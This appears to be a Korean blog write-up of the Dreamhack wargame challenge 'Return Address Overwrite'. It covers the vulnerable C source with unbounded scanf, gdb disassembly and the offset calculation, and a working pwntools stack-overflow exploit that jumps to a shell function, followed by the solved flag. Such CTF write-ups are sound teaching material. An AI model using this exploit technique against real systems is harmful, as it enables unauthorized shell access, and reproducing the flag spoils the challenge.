[Dreamhack] Return Address Overwrite

#코딩노예#·2022년 7월 15일
0

문제 소스코드를 출력해보면

 ⚡ root  ~/Downloads/dreamhack/Return_Address_Overwrite  cat rao.c
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {	// execve()를 이용해서 "/bin/sh"를 넣어 쉘을 띄움
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}
  • scanf() 함수에서 크기에 제한없이 입력을 받고 있어서 버퍼 오버플로우 공격이 가능합니다.

  • 그리고 get_shell() 함수를 보면 쉘을 띄워주는 기능을 가지고 있습니다.


먼저 gdb로 어셈블리어 코드를 봐보면

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x00000000004006e8 <+0>:     push   rbp
   0x00000000004006e9 <+1>:     mov    rbp,rsp
   0x00000000004006ec <+4>:     sub    rsp,0x30							# 48 Byte 크기의 공간 할당
   0x00000000004006f0 <+8>:     mov    eax,0x0
   0x00000000004006f5 <+13>:    call   0x400667 <init>
   0x00000000004006fa <+18>:    lea    rdi,[rip+0xbb]        			# 0x4007bc
   0x0000000000400701 <+25>:    mov    eax,0x0
   0x0000000000400706 <+30>:    call   0x400540 <printf@plt>
   0x000000000040070b <+35>:    lea    rax,[rbp-0x30]					# rax = buf
   0x000000000040070f <+39>:    mov    rsi,rax							# rsi = buf
   0x0000000000400712 <+42>:    lea    rdi,[rip+0xab]        			# 0x4007c4 -> %s
   0x0000000000400719 <+49>:    mov    eax,0x0
   0x000000000040071e <+54>:    call   0x400570 <__isoc99_scanf@plt>	# scanf(buf, %s)
   0x0000000000400723 <+59>:    mov    eax,0x0
   0x0000000000400728 <+64>:    leave  
   0x0000000000400729 <+65>:    ret    
End of assembler dump.

메모리 구조를 그려보면

  • A [56] + get_shell_addr [8]로 공격을 하면 될거 같습니다.

pwntools로 익스플로잇 코드를 짜보면

from pwn import *

p = remote("host1.dreamhack.games", 15039)      # 원격 서버에 연결

get_shell = p64(0x4006aa)       # get_shell 함수의 주소를 리틀 엔디안 방식으로 패킹

payload = b"A"*56       #  payload = A[56]
payload += get_shell    #  payload = A[56] + read_flag

p.sendline(payload)     # payload 입력
p.interactive() # 사용자에게 입출력을 돌려줌

익스플로잇을 해보면

 ⚡ ⚙ root  ~/wargame/dreamhack  python Return_Address_Overwrite.py
[+] Opening connection to host1.dreamhack.games on port 15039: Done
[*] Switching to interactive mode
Input: $ ls
flag
rao
$ cat flag
DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}
[*] Got EOF while reading in interactive

공격에 성공했고 cat flag를 하니 flag가 정상적으로 출력되었습니다.

0개의 댓글